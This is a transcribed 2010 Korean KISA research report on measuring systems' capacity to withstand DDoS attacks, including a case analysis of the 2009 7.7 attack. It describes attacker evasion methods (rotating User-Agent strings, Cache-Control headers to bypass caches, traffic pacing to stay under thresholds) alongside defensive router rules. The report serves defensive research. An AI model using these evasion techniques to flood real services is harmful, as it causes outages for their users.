<44446F535FC7D1B0E8BFEBB7AE5FC3F8C1A45FB9E6B9FDB7D05FBFACB1B85FC3D6C1BEB0E1B0FABAB8B0EDBCAD2D46696E616C2D76312E362E687770>

Save this PDF as:
 WORD  PNG  TXT  JPG

Size: px
Start display at page:

Download "<44446F535FC7D1B0E8BFEBB7AE5FC3F8C1A45FB9E6B9FDB7D05FBFACB1B85FC3D6C1BEB0E1B0FABAB8B0EDBCAD2D46696E616C2D76312E362E687770>"

Transcription

1 최종연구보고서 KISA-RP DDoS 공격대응에대한한계용량측정방법론연구 Research on Maximum Capacity Measuring Methodology of DDoS Attack Response 수탁기관 : 시큐베이스 ( 주 )

2 제출문 한국인터넷진흥원원장귀하 본보고서를 DDoS 공격대응에대한한계용량측정방법론연구 의최종연구개발결과보고서로제출합니다 년 9 월 28 일 주관기관 : 한국인터넷진흥원참여연구원 : 이명수 ( 침해예방단, 단장 ) 서진원 ( 웹보안지원팀, 팀장 ) 서완석 ( 웹보안지원팀, 선임연구원 ) 이재광 ( 웹보안지원팀, 선임연구원 ) 박영욱 ( 웹보안지원팀, 주임연구원 ) 수탁기관 : 시큐베이스 ( 주 ) 연구책임자 : 이준원 ( 경영기획실, 책임연구원 ) 참여연구원 : 김혁준 ( 기술연구소, 책임연구원 ) 김용회 ( 기술연구소, 전임연구원 ) 인지혜 ( 컨설팅그룹, 전임연구원 ) 정의진 ( 컨설팅그룹, 주임연구원 )

3 요약문 1. DDoS 공격에대한한계용량측정방법론연구 2. 연구개발의목적및중요성 2009년 7.7 DDoS 대란당시민간기업은물론, 각종전자정부서비스가부분적으로마비되는심각한상황이발생함에따라전자정부의대국민신뢰도와위상이현저히저하됨은물론, 기존의보안체계로는이러한외부위협에대응하기어렵다는사회전반의자각과함께범정부차원에서 DDoS 공격에대한방어및대응체계마련의필요성이강하게대두되었다. 이러한 DDoS 공격에대해체계적인방어및대응체계를구축하려면기존장비중심의대응이아니라아키텍처중심의대응체계수립이필요하며, 먼저웹서버의가용성과네트워크장비의각병목구간에서발생할수있는시스템의한계용량을측정할필요가있다. 본연구는한계용량측정방법론을개발하고이를활용할수있는방안을제시한다. 3. 연구개발의내용및범위 본연구의주요내용은첫째, DDoS의현황을분석, 둘째, DDoS 현황분석을토대로 DDoS 공격을취약구간에따른방어자시각에서재수립하고, 셋째, 계측기를통한 DDoS 공격의대응용량측정방법분석, 넷째연결형공격대응을위한출발지 IP 대량생성방안을연구하며, 다섯째연구된한계용량측정방법론을기반으로, 운영예정중인 DDoS 사이버대피소의한계용량을측정하고운영방안및활용방안을도출한다.

4 4. 연구결과 본연구결과는 DDoS 공격에대한대응체계를갖추기어려운영세 / 중소기업등의 DDoS 공격을최소화하기위해진행중인 DDoS 사이버대피소서비스의성능테스트에사용되는기반자료로활용되며, 현재정확히정의되어있지않은 DDoS 공격의기준을새로운시각으로정의하는기틀이될것으로예상된다. 또한 DDoS 한계용량측정시사용된방법론및결과값은세션연결형공격대응에대한정성적인정의를정량적이고객관화된내용으로정의하여현 DDoS 서비스시장에서새로운파장을일으킬것으로예상된다. 5. 활용에대한건의 본연구는국내 DDoS 서비스시장및연구분야에있어서장비구입및서비스도입시고려사항으로활용하기를건의하는바이다. 특히, 국내공공기관및주요대기업은 DDoS 한계용량측정방법론을적용하여세션연결형공격의한계용량을측정하고이를 QoS 정책에적용한다면보다객관적이고정량적인 DDoS 대응체계를수립할수있을것으로예상된다. 또한 DDoS 대응체계구축컨설팅시에도유용한자료로활용되기를건의하는바이다. 6. 기대효과 DDoS 공격에대해보다객관적이고지표중심의방법을통해 DDoS 공격을사전에예방하여웹서비스사용자의가용성보장및대국민서비스의신뢰성을향상시킬수있을것으로기대되어진다. 특히 DDoS 사이버대피소시스템의 DDoS 한계용량측정연구의정량적인결과제공은적절한대응체계를갖추지못한중 / 소규모 IT사업자들에게증가하는 DDoS 공격에대한비즈니스연속성을보장하며, 과거 DDoS 공격의주종을이루었던 UDP, ICMP Flooding 등네트워크대역폭소진공격뿐만아니라최근급격히증가하고있는 GET Flooding, Slowloris 공격등호스트 / 어플리케이션을대상으로한신종공격으로인한피해도최소화

5 할것으로보여진다. 또한비상시적으로발생하는 DDoS 공격대응을위해값비싼전용장비를구입하는부담경감과효과적장비운영을위한전문인력투입시발생하는경제적부담이경감될것으로예상되며중복된 DDoS 분석에서발생하는오류제거및이에따른사회적부담이줄어들것으로기대하는바이다.

6 목 차 제 1 장연구개요 1 제 1 절개요 1 제 2 절추진배경및필요성 1 제 3 절 DDoS 한계용량의정의 2 제 4 절수행목적및범위 3 제 5 절기대효과 4 제 6 절수행경과 5 제 2 장 DDoS 현황분석 7 제 1 절 DDoS 동향분석 7 제 2 절 DDoS 사례분석 9 제 3 절 DDoS 대응장비시장조사 15 제 4 절 DDoS 대응서비스시장조사 23 제 5 절 DDoS 공격유형및기법분석 28 제 3 장 DDoS 공격의체계적인기준수립 38 제 1 절현 DDoS 공격대응체계의문제점 38 제 2 절 Failure Point 중심의 DDoS 대응체계 39 제 4 장계측기활용분석및대책연구 44 제 1 절계측기시장조사 44 제 2 절계측기를통한 DDoS 대응용량측정방법조사 64 제 3 절계측기측정방법의타당성분석 77

7 제 5 장연결형공격대응을위한출발지 IP 대량생성방안연구 78 제 1 절출발지 IP 대량생성방안 78 제 2 절 IP 대량생성소스코드 79 제 3 절출발지 IP 대량생성결과 83 제 6 장유형별한계용량측정방법론개발 85 제 1 절개요 85 제 2 절한계용량측정절차 86 제 3 절환경분석 87 제 4 절한계용량측정방식 90 제 5 절한계용량측정망의구성 91 제 6 절한계용량측정항목 93 제 7 절측정결과값도출및개선방안적용 95 제 7 장유형별한계용량측정시험 96 제 1 절개요 96 제 2 절한계용량측정시험시스템별역할 97 제 3 절한계용량측정시험을위한시스템설정 98 제 4 절한계용량측정시험 N/W망구성 103 제 5 절한계용량측정시험사전준비사항 105 제 6 절한계용량측정시나리오 137 제 7 절 DDoS 한계용량측정시험결과 139

8 제 8 장사이버대피소한계용량측정및개선방안도출 144 제 1 절사이버대피소한계용량측정방안 144 제 2 절개요 145 제 3 절사이버대피소한계용량측정망구성 150 제 4 절한계용량측정수행시나리오 153 제 5 절한계용량측정수행경과 160 제 6 절한계용량측정수행결과 166 제 7 절한계용량측정결과에따른사이버대피소개선기회 185 참고자료 187

9 그림목차 ( 그림 1-1) DDoS 공격대응에대한한계용량측정기대효과 5 ( 그림 2-1) DDoS 공격대역폭 1 7 ( 그림 2-2) DDoS 공격대역폭 2 8 ( 그림 2-3) 7.7 DDoS 공격현황 10 ( 그림 2-4) 7.7 DDoS 공격패킷분포 11 ( 그림 2-5) 에이전트스트링형식 12 ( 그림 2-6) Cache-Control 사용 13 ( 그림 2-7) 다중공격을통한흐름제어 14 ( 그림 2-8) DDoS 전용장비차단모드설정시프로세스 20 ( 그림 2-9) 공격시보안존으로의라우팅전환 24 ( 그림 2-10) 주요 APP 공인 IP에대한공격대응 26 ( 그림 2-11) Slow / Zero-day 공격방어 27 ( 그림 3-1) 알려진 DDoS 공격유형의분류 38 ( 그림 3-2) 가용성침해정도에따른대응정도 39 ( 그림 3-3) 공형유형에따른대응구간의매핑 40 ( 그림 3-4) 시스템단계별방어전략 41 ( 그림 4-1) Avalanche를이용한 Real Server 및 Network 테스트 45 ( 그림 4-2) Avalanche 와 Reflector를사용한 DUT 테스트 45 ( 그림 4-3) video voice data traffic mix 56 ( 그림 4-4) SmartFlow Overview 59 ( 그림 4-5) ThreatEx의 DUT Test 61 ( 그림 4-6) ThreatEx Appliance 62 ( 그림 4-7) DDoS 한계용량측정구성도 67 ( 그림 5-1) Scapy를이용한네트워크패킷분석 ( 예 ) 79 ( 그림 5-2) 클라이언및서버의구성 80 ( 그림 5-3) Scapy를이용한네트워크패킷분석 ( 예 ) 84

10 ( 그림 6-1) 망절체식 DDoS 한계용량측정의구성예시 91 ( 그림 6-2) TAP장비의구성 92 ( 그림 6-3) 한계용량측정결과값도출예 95 ( 그림 7-1) DDoS 한계용량측정시험목표구성도 96 ( 그림 7-2) DDoS 한계용량측정시험 N/W 구성도 103 ( 그림 7-3) DDoS 한계용량내부 ToA 측정시험 104 ( 그림 7-4) DDoS 한계용량외부 ToA 측정시험 ( 그림 7-5) DDoS 한계용량외부 ToA 측정시험 ( 그림 7-6) DDoS 한계용량측정시나리오 138 ( 그림 7-7) Syn Flooding 공격테스트 BPS, PPS 141 ( 그림 7-8) Get Flooding 공격테스트 FPS 141 ( 그림 7-9) CC-Attack 공격테스트 FPS 142 ( 그림 7-10) Sloworis 공격테스트 FPS 143 ( 그림 8-1) DDoS 사이버대피소한계용량측정구성안 144 ( 그림 8-2) DDoS 사이버대피소방어개념도 147 ( 그림 8-3) DDoS 사이버대피소한계용량측정범위 148 ( 그림 8-4) DDoS 사이버대피소측정프로세스 149 ( 그림 8-5) DDOS 사이버대피소한계용량측정 N/W망 150 ( 그림 8-6) 측정 1 Set 구성도 153 ( 그림 8-7) 측정 2 Set 구성도 155 ( 그림 8-8) 측정 3 Set 구성도 156 ( 그림 8-9) 측정 4 Set 구성도 158 ( 그림 8-10) 측정 5 Set 구성도 159 ( 그림 8-11) 정상 PC 접속시험시패킷샘플 167 ( 그림 8-12) 정상 PC 접속시험시패킷내용 167 ( 그림 8-13) 대역폭소진공격에대한결과개요 168 ( 그림 8-14) 응용계층공격에대한결과개요 169 ( 그림 8-15) L7스위치부하측정에대한결과개요 170 ( 그림 8-16) Session Flooding 분석결과 Overview 171

11 ( 그림 8-17) Session Flooding 공격시정상PC의웹접속 RTT 173 ( 그림 8-18) Session Flooding 연결정보 173 ( 그림 8-19) Get-Flooding, CC-Attack 시결과값 Overview 174 ( 그림 8-20) 그림파일요청에대한 Get Flooding 공격시한계용량 178 ( 그림 8-21) 그림파일요청에대한 CC-Attack 공격시한계용량179 ( 그림 8-22) ToA에대한세션가용성시험결과 Overview ( 그림 8-23) ToA에대한세션가용성시험결과 Overview ( 그림 8-24) ToA에대한세션가용성시험결과분석 183 ( 그림 8-25) TCP Ack Flooding BPS, PPS 184 ( 그림 8-26) 혼합공격시 BPS, PPS 184

12 표목차 [ 표 1-1] 추진경과 6 [ 표 2-1] Bogon Dotted Decimal List v [ 표 2-2] 국내시판중인대표적인 DDoS 전용장비의분류표 19 [ 표 4-1] 성능및기능 46 [ 표 4-2] 지원프로토콜 46 [ 표 4-3] Avalanche 구성 47 [ 표 4-4] 소프트웨어요구사항 47 [ 표 4-5] 성능및기능 48 [ 표 4-6] 지원프로토콜 49 [ 표 4-7] Reflector 구성 49 [ 표 4-8] 소프트웨어요구사항 50 [ 표 4-9] 시험항목 66 [ 표 4-10] Test traffic 구성 (Flood, Fragment, 혼합공격 ) 68 [ 표 4-11] Test traffic 구성 ( 세션, L7공격 ) 70 [ 표 5-1] 서버소스 81 [ 표 5-2] 클라이언트소스 82 [ 표 7-1] SSH 설치 98 [ 표 7-2] IP 설정 98 [ 표 7-3] 라우팅테이블 99 [ 표 7-4] Sar 설치및사용 100 [ 표 7-5] Apach, My-SQL, PHP의설치 102 [ 표 7-6] Syn Flooding 파이썬소스 106 [ 표 7-7] Syn Flooding C언어소스 106 [ 표 7-8] Get Flooding 파이썬소스 113 [ 표 7-9] Get Flooding 쉘코드 114 [ 표 7-10] CC-Attack 파이썬소스 115

13 [ 표 7-11] CC-Attack 쉘코드 116 [ 표 7-12] Slowloris.pl 코드 117 [ 표 7-13] PCAP파일저장을위한쉘코드 135 [ 표 7-14] netstat를이용한연결정보저장을위한쉘코드 135 [ 표 7-15] wget을이용한반응시간확인을위한쉘코드 136 [ 표 7-16] sar를이용한시스템사용점유율파악을위한쉘코드 137 [ 표 7-17] 트레이스분석명령어 139 [ 표 7-18] 측정세부영역 140 [ 표 8-1] 검증방안 144 [ 표 8-2] 단계별대응시스템 146 [ 표 8-3] 기관별역할및산출물 149 [ 표 8-4] 측정 1 Set 시나리오 154 [ 표 8-5] 측정 2 Set 시나리오 155 [ 표 8-6] 측정 3 Set 시나리오 157 [ 표 8-7] 측정 4 Set 시나리오 157 [ 표 8-8] 측정 5 Set 시나리오 160 [ 표 8-9] 측정 1 Set 수행경과 160 [ 표 8-10] 측정 2 Set 수행경과 161 [ 표 8-11] 측정 3 Set 수행경과 162 [ 표 8-12] 측정 4 Set 수행경과 163 [ 표 8-13] 측정 5 Set 수행경과 164 [ 표 8-14] 측정 6 Set 수행경과 164 [ 표 8-15] 측정 7 Set 수행경과 165 [ 표 8-16] 측정 8 Set 수행경과 166 [ 표 8-17] Get Flooding(index.html) 정상PC의웹서버접속 RTT 및연결정보 175 [ 표 8-18] ToA의 TCP 서비스별한계용량 181 [ 표 8-19] ToA 한계용량측정시정상 PC의접속확인연결테이블 181

14 제 1 장연구개요 제 1 절개요 o 위탁과제명 : DDoS 공격대응에대한한계용량측정방법론연구 o 계약기간 : 2010년 4월 20일 ~ 2010년 9월 30일 (5개월) o 계약금액 : 일금칠천만원정 o 연구책임자 : 이준원 ( 해외사업개발그룹 / 그룹장 ) o 주관기관 : 한국인터넷진흥원 o 수행기관 : 시큐베이스 ( 주 ) o 주요내용 - DDoS 공격및시장에대한종합적인현황분석 - DDoS 공격대응에대한한계용량측정방법론개발및측정 - 한계용량측정기반의대피소서비스개선방안도출 제 2 절추진배경및필요성 2009년 7.7 DDoS 대란당시민간기업은물론, 각종전자정부서비스가부분적으로마비되는심각한상황이발생함에따라전자정부의대국민신뢰도와위상이현저히저하됨은물론, 기존의보안체계로는이러한외부위협에대응하기어렵다는사회전반의자각과함께범정부차원에서 DDoS 공격에대한방어및대응체계마련의필요성이강하게대두되었다. 이렇듯 DDoS 공격은증가하고있으나관련공격에대한부정확한정 보의만연으로투자비용대비효과적인 DDoS 방어가이루어지고있지 - 1 -

15 않다. 따라서 DDoS 공격에대한명확한이해를바탕으로알려진공격에대한방어에중점을둔공격중심의분류방법을알려지지않은공격에대응할수있는방어중심으로분류하고이를통해가용성위협에대한측정방법을제시하고이러한공격에대한대응지점선정을통해실시간대응이가능한 DDoS 대응아키텍처수립의필요가강하게대두되게되었다. 이러한 DDoS 공격에대해체계적인방어및대응아키텍처를수립하려면기존장비중심의대응이아니라아키텍처중심의대응체계수립이필요하며, 먼저웹서버의가용성과네트워크장비의각병목구간에서발생할수있는시스템의한계용량을측정할필요가있다. 본연구는한계용량측정방법론을개발하고이를활용할수있는방안을제시한다. 제 3 절 DDoS 한계용량의정의 1. DDoS 한계용량이란 DDoS 한계용량이란인터넷을통한데이터전달및처리과정에서정 상적인서비스제공을위해요구되는물리적논리적자원의최대값을말 한다. 2. DDoS 한계용량측정이란 DDoS 한계용량측정이란인터넷을통한데이터전달및처리과정에서요구되는자원 (Capacity) 의제약지점 (Bottle-neck) 을파악하고해당지점에서제공되는논리적, 물리적자원의가용성을측정 (Measure) 하여이를지표화 (Metric) 하는것을말한다. 이러한한계용량측정은시중에판 - 2 -

16 매되고있는계측기를이용한측정과 IP 대량생성방안을도출하여실제 정상 PC 의접속트래픽을이용한측정, 그리고실제 DDoS 공격시사 용되고있는봇넷을가지고측정을할수있다. 제 4 절수행목적및범위 본연구의주요내용은첫째, DDoS의현황을분석, 둘째, DDoS 현황분석을토대로 DDoS 공격을취약구간에따른방어자시각에서재수립하고, 셋째, 계측기를통한 DDoS 공격의대응용량측정방법분석, 넷째연결형공격대응을위한출발지 IP 대량생성방안을연구하며, 다섯째연구된한계용량측정방법론을기반으로, 운영예정중인 DDoS 사이버대피소의한계용량을측정하고운영방안및활용방안을도출한다. 1. DDoS 현황분석은 DDoS 동향및사례분석, DDoS 대응장비및서비 스시장을조사하고 DDoS 공격유형및기법을분석한다 2. DDoS 공격의체계적인기준수립은현 DDoS 공격분류의문제점을 분석하고 Failure Point 중심의 DDoS 대응체계를수립한다. 3. 계측기활용분석및대책은계측기시장조사, 계측기를통한 DDoS 한계용량측정방법을분석하여계측기측정방법의타당성을분석한다. 4. IP 대량생성방안연구는세션연결형부하발생방안마련을하기위한연구이며출발지 IP대량생성방안, IP 대량생성소스코딩및출발지 IP대량생성결과를도출하여향후 DDoS 한계용량측정시적용한다

17 5. 한계용량측정방법론개발은실제 DDoS 한계용량을측정할수있는 방안, 즉한계용량측정을위한하드웨어, OS, 네트워크의구성과시나 리오를개발한다. 6. 한계용량측정은 DDoS 공격한계용량측정방법론시나리오를적용 하여한계용량측정항목및체크리스트에대한결과값을도출한다. 7. DDoS 사이버대피소한계용량측정및개선방안은개발된한계용량측정방법론을기반으로운영예정중에있는사이버대피소의 DDoS 공격한계용량을측정할수있는방안을마련하여사이버대피소의한계용량측정하고, 측정결과에따른서비스수준및개선사항을도출하여향후축적될운영결과에대한정보의유형별통계도출과서비스개선에필요한운영정보의활용방안을제시한다. 제 5 절기대효과 DDoS 공격에대해보다객관적이고지표중심의방법을제공을통해 DDoS 공격을사전에예방하여웹서비스를사용하는정상사용자의가용성보장및대국민서비스의신뢰성을향상시킬수있을것으로기대되어진다. 특히사이버대피소시스템구축에 DDoS 한계용량측정연구의정량적인결과제공은적절한대응체계를갖추지못한중 / 소규모 IT사업자들에게증가하는 DDoS 공격에대한비즈니스연속성을보장하며, 과거 DDoS 공격의주종을이루었던 UDP, ICMP Flooding 등네트워크대역폭소진공격뿐만아니라최근급격히증가하고있는 GET Flooding, Slowloris 공격등호스트 / 어플리케이션을대상으로한신종공격으로인한피해를최소화할것이다. 또한비상시적으로발생하는 DDoS 대응을위해값비싼전용장비를구입하는부담경감과효과적장 - 4 -

18 비운영을위한전문인력투입시발생하는경제적부담을경감할것으로 예상되며중복된 DDoS 분석에서발생하는오류제거및이에따른사 회적부담이줄어들것으로기대하는바이다. ( 그림 1-1) DDoS 공격대응에대한한계용량측정기대효과 제 6 절수행경과 2010년 4월 23일방송통신위원회에서진행된착수보고를시작으로 2010년 5월 12일방송통신위원회와한국인터넷진흥원관계자들이참여한가운데진행된워크숍은 DDoS한계용량측정의필요성및효과적인 DDoS 대응체계를주제로진행되었다. 또한 2010년 9월 16일부터 9월 17일까지 3일간진행된 DDoS 사이버대피소의한계용량측정은사이버대피소의구축사업자, 운영사업자와주관사업자가참여한가운데체계적으로한계용량측정이진행되었다. 세부 DDoS 한계용량수행경과는 [ 표1-1] 과같다

19 [ 표 1-1] 추진경과 구분연구내용완료여부 현황분석연구및측정대피소서비스개선방안도출 DDoS 동향 / 사례분석 DDoS 대응장비시장조사및서비스분석 DDoS 공격유형 / 기법조사 DDoS 공격유형체계적인기준수립 계측기시장조사 DDoS 대응용량측정방법조사 ( 계측기 ) 측정방법타당성분석 ( 계측기 ) 유형별한계용량측정방법론개발 유형별한계용량측정 IP 대량생성방안연구 ( 세션연결형부하발생방안마련 ) 대피소한계용량측정시험방안도출한계용량측정결과기반대피소개선방안도출운영결과에따른지표도출방안제시 운용정보활용방안연구 완료완료완료완료완료완료완료완료완료완료완료완료완료완료 - 6 -

20 제 2 장 DDoS 현황분석 제 1 절 DDoS 동향분석 1. 공격의정도 1988년 23세의코넬대학학생인로버트모리스는인터넷의크기를측정하기위한소프트웨어를제작하였으나제작된프로그램의오류로인해당시전세계인터넷에연결되어있던컴퓨터의약 10% 인 6,000대의컴퓨터를감염시키고정부와대학의인터넷망을마비시켰다. 이러한프로그램제작오류를통한인터넷마비는 2003년 SQL Slammer웜을기점으로악성코드에의해재현되었다. 그후공격자들은이를통해인터넷의취약점을인식하게되었고그뒤의도적인서비스가용성침해를위한다양한 DDoS 공격도구를제작해왔다. 이러한배경을가진 DDoS 공격도구는네트워크, 호스트그리고어플리케이션수준의취약점을이용하여정상적인서비스를거부하도록구성되었으며각공격에따른방어방법의 ( 그림 2-1) DDoS 공격대역폭 1 - 출처 : KISA 발전에따라공격의방법도발전해왔다. 최근까지도방어자는사용자 - 7 -

21 서비스라우터에위조된패킷 (Spoofed) 전송억제를위해적용되는 Egress Filtering 등기본적인방어기제조차적용시키지않았으며 IP Spoofing 을통해 DDoS 공격지에대한추적을회피하면서다수의에이 ( 그림 2-2) DDoS 공격대역폭 2 - 출처 : Abor Networks 전트를동원한네트워크자원소모 (Flooding) 공격을수행해왔다. 그러나이러한공격지평 (Attack Plane) 은 Egress Filtering, ISP 수준의대역폭제어등적극적인방어기제가도입되면서점차이러한방어를회피해목적서버 (Target of Attack) 에치명적인영향을미치는호스트 / 어플리케이션의자원소모방식으로변화해왔다. 이는한국인터넷진흥원과아보네트워크 (Abor Network) 에서수집된 2009년 DDoS 공격통계자료를통해서도확인된다. 먼저앞서기술된 ISP에서의 DDoS 방어가보편화된해외의경우대부분의공격이 1G 이하의공격으로분류된것을확인할수있으며한국인터넷진흥원에서집계한국내공격정보통계에서도대규모 Flooding 공격보다소규모공격이증가하는경향이두드러지게나타나는것을확인할수있다. 2. DDoS 공격의변화 인터넷상의자원에위협을가하는공격자는일반적으로방어자보다 - 8 -

22 항상불리한상황에있게된다. 공격자는방어자의자원이어떻게위치 (Deployment) 되었는지정확하게알지못하며취약점이존재하지않는자원에대한공격을수행할수없다. 이는 DDoS 공격자의경우에도동일하게적용된다. 기존의네트워크자원소모공격의일차적피해자인인터넷서비스사업자는자신이제공하는서비스의주요품질지표중하나인서비스연속성을직접적으로위협받게되었으며이는 DDoS 공격에대한보다적극적인대응으로귀결되었다. 이러한상황에서공격자는보다효과적인공격방법을생각하게되었고이는인터넷서비스사업자의방어기재에감지되지않고공격목표를보다정교하게타격할수있는방법을생각하게되었고이는호스트및어플리케이션수준공격으로나타나게되었다. DDoS 공격의궁극적목적이인터넷의자원 ( 대부분의경우웹서버 ) 을서비스거부상태에이르게하는것을목적으로한다는것을생각해볼때공격자의이러한진화는그방향이예견된것이기도하다. 어플리케이션수준의공격으로이동하면서나타난또하나의경향은기존네트워크대역폭소진공격에서는극명하게나타나지않았던방어자의수준에따른공격의효과여부가극명하게나타난다는것이다. 다음에소개할 7.7 DDoS 공격의경우공격자는방어자의사용기술과그한계를명확하게인지하고있었으며알려진공격에대한대응에집중하는방어자의대응한계를이용하여적은비용으로국내다수의공격대상사이트의서비스연속성에치명적인영향을주었다. 제 2 절 DDoS 사례분석 (7.7 DDoS) DDoS 공격현황 2009 년 7 월 7 일발생한 DDoS( 이하 7.7 DDoS 로칭함 ) 공격은기존의 DDoS 방어전략의효용에근본적인질문을던진공격이었다. 기존의 - 9 -

23 DDoS 공격과비교해볼때사용된공격방법에새로운것은전혀없었으나공격자는기존공격방법의전략적사용을통해기존방어체계를철저히무력화시켰다. 특히기존의관리형 DDoS 좀비생성에벗어나단한번의공격을위한일회성봇넷을구성하였으며 UDP, ICMP 등 DDoS 패킷생성시 TCP 전송량에비례하도록구성하여피해서버의성능에따라흐름을제어하도록하는치밀함을보였다. 이는 7.7 DDoS 공격클라이언트에서수집된패킷을분석하여각도메인에발송된패킷의프로토콜별비율을도식화하여나타낸 ( 그림 2-3) 를통해알수있다. ( 그림 2-3) 에는 7월 8일 1차공격당시새벽 4시 47분부터저녁 6시까지의프로토콜분포를나타낸것으로공격량에관계없이 UDP, 및 ICMP 비율이충패킷의 7% 를각각사용하는것을나타내고있다. 또한 ( 그림 2-3) 에서 TCP의소스패킷과목적지패킷의량이상이하게나타나는데이는목적지중간에위치한방화벽등의상태점검접근제어장치를우회하여목적서버및침입탐지장치의패킷처리부하를증가시키기위한것으로기존의공격에서볼수없었던대표적특징중하나이다. ( 그림 2-3) 7.7 DDoS 공격현황 DDoS 공격패킷분포

24 7.7 DDoS 공격이전 DDoS 공격자는공격대상사이트의용량에관계없이대량의패킷을전송하여공격지에서목적지사이에위치한인터넷서비스사업자의눈에띌우려가많았으며또한상대편서버의상태에관계없이패킷을전송하여서비스이전등의방어체계전이가발생하는경우공격이지속되어방어자에게공격자정보를노출시키는취약점이있었다. 그러나 7.7 DDoS를수행한공격자는공격프로토콜을연결성이있는 TCP 종속적으로운영되도록하여피공격지서버의상태에따라선택적인공격이가능하게하였다. 이러한방법은다수의공격목표설정시가용량이높은서버에더많은패킷을전송하도록하여피해서버의가용성에따라선택적인공격이가능하도록구성하였다. 이는아래 ( 그림 2-4) ( 그림 2-4) 7.7 DDoS 공격패킷분포 에서나타난것과같이상대적으로큰가용성을확보하고있는해외사이 트에대한공격이이루어진오전 7 시까지는해당사이트에대한공격량 이상당히큰것을알수있으며이후국내대상서버에대한공격에서도

25 옥션등가용성이큰국내사이트에상대적으로많은공격패킷이전달된것을잘알수있다. 이는해당사이트에대한 DDoS 공격의완성으로대상웹사이트가완전히가용성을상실한경우이서버에추가적인공격을수행하는것이아무런의미가없다는것을공격자가이미잘숙지하고있으며또한유한한공격자원을보다가용성이큰사이트에집중시키는효과를가져왔다. 3. 에이전트스트링형식 ( 그림 2-5) 에이전트스트링형식 기존의시그니처방식의대응의경우 HTTP 요청헤더상에브라우저형식을나타내는 User-Agent 스트링에불필요한내용을삽입하거나혹은해당구문에오류가있어이를시그니처중심의특정스트링탐지방법을사용하여차단해왔다. 그러나 ( 그림 2-5) 에나타난것과같이 7.7 DDoS 공격에사용된사용자에이전트스트링은그형식에오류가없었으며또한 5가지정상브라우저타입을일정한비율로사용하여하나의

26 브라우저형식이차단을당한다고해도나머지 4 가지스트링이모두공 격지로전달될수있도록하는치밀함을보였다. 4. Cache-Control 사용 또한웹캐시기반의방어시스템을사용하여수직적인부하분산을시도 하는방어자에대응하기위해전채 HTTP 요청의 50% 에 Cache-Control 구문을삽입하였고이러한사실은 ( 그림 2-6) 을통해잘나타나있다. ( 그림 2-6) Cache-Control 사용 5. 다중공격을통한흐름제어 또한공격자는다수의동시공격대상에대한동시다발적공격을수행하여 ( 그림 2-7) 별도의소프트웨어적전송량조절장치를구현하지않고다수의웹사이트에각각의좀비 PC에서발생한패킷이 IDS, 전문 DDoS 대응장치등의임계치기반차단정책에적용되지않도록구성하였다

27 ( 그림 2-7) 다중공격을통한흐름제어

28 제 3 절 DDoS 대응장비의시장조사 기존차단중심의 DDoS 대응체계는장비의가용성을확보할수있으나사용자의가용성은확보하지못하며, 공격차단시, 일괄차단이아닌정상사용자의트래픽또한고려되어야한다. 새로운공격에대처하려면 DDoS 다단계방어전략 (Defense-in-Depth) 이필요하며다단계방어전략을적용하기위해서는 DDoS 전용장비하나만으로불가능하다. 이절에서는 DDoS 다단계방어전략을적용하기위한 DDoS 방어가가능한장비들을설명하고분석한다. 단순 Rate Limit 정책에서발생하는정상사용자까지차단하는현상을방지하기위한방법으로네트워크 QoS 설정, urpf, RFC1918 등의적용을통해네트워크대역폭소진공격에대응하는방법과, IP평판관리, 동적공격정보전달기능을통한세션연결형공격에대응하는전략을제시한다. 1. 이상트래픽격리및처리장비 가. 장비명 Guard & Detector, Peakflow 등 나. 특징 망 (AS) 수준의트래픽을분리구조를통해 DDoS 공격으로발생하는 2 차피해를최소화한다. 다. 단점 정교한대응이불가능하여오탐및과탐의소지가크며상위레이어공

29 격대응이어렵다. 라. 대응형태 동적라우팅테이블변경및네트워크수준필터링을적용한다. 2. Router (ISP: Internet Service Provider) Rate Limit 설정으로공격 IP 의트래픽을 Null0 Routing 처리한다. 가. 대응공격 Direct Flooding, Broadcast Flooding, DNS UDP Flooding, DNS Query Flooding, DNS Reply Flooding, Fraggie Attack 나. 대응공격의특징 회선의대역폭증가및동일 N/W 를사용하는모든서비스에장애가 발생된다. 다. 장비설정사항 ICMP 및 UDP 사용량에근거하여일정범위를넘어서는패킷발생 시인터넷통신병목구간인경계라우터에도달하기전 ISP 라우터에서 Null0 Routing 처리한다. 라. 장비설정의예 o Rate Limit ICMP 설정

30 Rate-limit input access-group conform-action transmit exceed action drop o Rate Limit UDP 설정 Rate-limit input access-group conform-action transmit exceed action drop 바. 고려사항 동적 Bandwidth 확장계획을수립하면 DDoS 공격발생시유연하게 대처할수있으며 2 개이상의 ISP 회선으로구성되어있다며 DDoS 공 격발생시쉽게대응이가능하다. 3. Router ( 경계라우터 ) 위변조될수있는 IP 를사전차단함으로 DDoS 공격시피해를최소 화한다. 가. 대응공격 Tear Drop, Bonk, Land Attack, WinBuke, Ping of Death 나. 대응공격의특징 논리적오류를이용한공격으로피해서버의오작동을유발한다. 다. 장비설정사항 Bogon 차단설정하여 IP Spoofing 대응하고, 라우터에서비정상패킷을

31 받아들이지않도록설정한다. 라. 장비설정의예 o 차단 IP 의설정 [ 표 2-1] Bogon Dotted Decimal List v * * o 단편화패킷차단 ( 예 ) access-list 2010 deny ip any any fragments log-input 바. 특징 다단계방어전략의일환으로인바운드패킷중인터넷에라우팅되지않는주소군을차단하고이러한패킷발생시이를소스주소를위변조공격으로판단하며이를차단한다. 또한특정지역에서들어오는공격인경우, 해당지역의 IP 대역을 Null0 Routing 구성한다. (ACL에비해서구성이손쉽고부하가적으므로손쉽게사용가능하다.)

32 4. DDoS 전용장비 (L2 Bridge 기반 ) L2 Bridge 기반의 IPS( 침입탐지장치 ) 를공격에맞춤 / 대응하도록구성한장치로설치및운영이간단하고타장비와간섭이적다. 하지만네트워크수준의대응장치로어플리케이션수준의대응이어려우며정교한공격에대한대응력이떨어진다. 네트워크수준의대응 ( 시그니처 ( 및행동기반형태의대응이있다. 가. 장비명및주요장단점 Sniper DDX, NXG 4000D 등 가. 장비명 [ 표 2-2] 국내시판중인대표적인 DDoS 전용장비의분류표 구분 나우콤 시큐아이닷컴 라드웨어시스코인트루가드 제품명 Sniper DDX SECUI NXG 4000D Defense Pro Guard & Detector IG 2000 구성방식 In-line / Out of Path In-line / Out of Path In-line Out of path In-line 기반기술 IPS NBA L7 스위치 IDS NBA 성능 4 Gbps, 6만 CPS 4 Gbps, 20만 CPS 4 Gbps, 20만 CPS 3 Gbps, 5만 CPS 2 Gbps L4공격방어 임계치 임계치 / 행위기반 임계치 임계치 임계치 / 행위기반 L7공격방어 시그니처행위기반시그니처시그니처행위기반

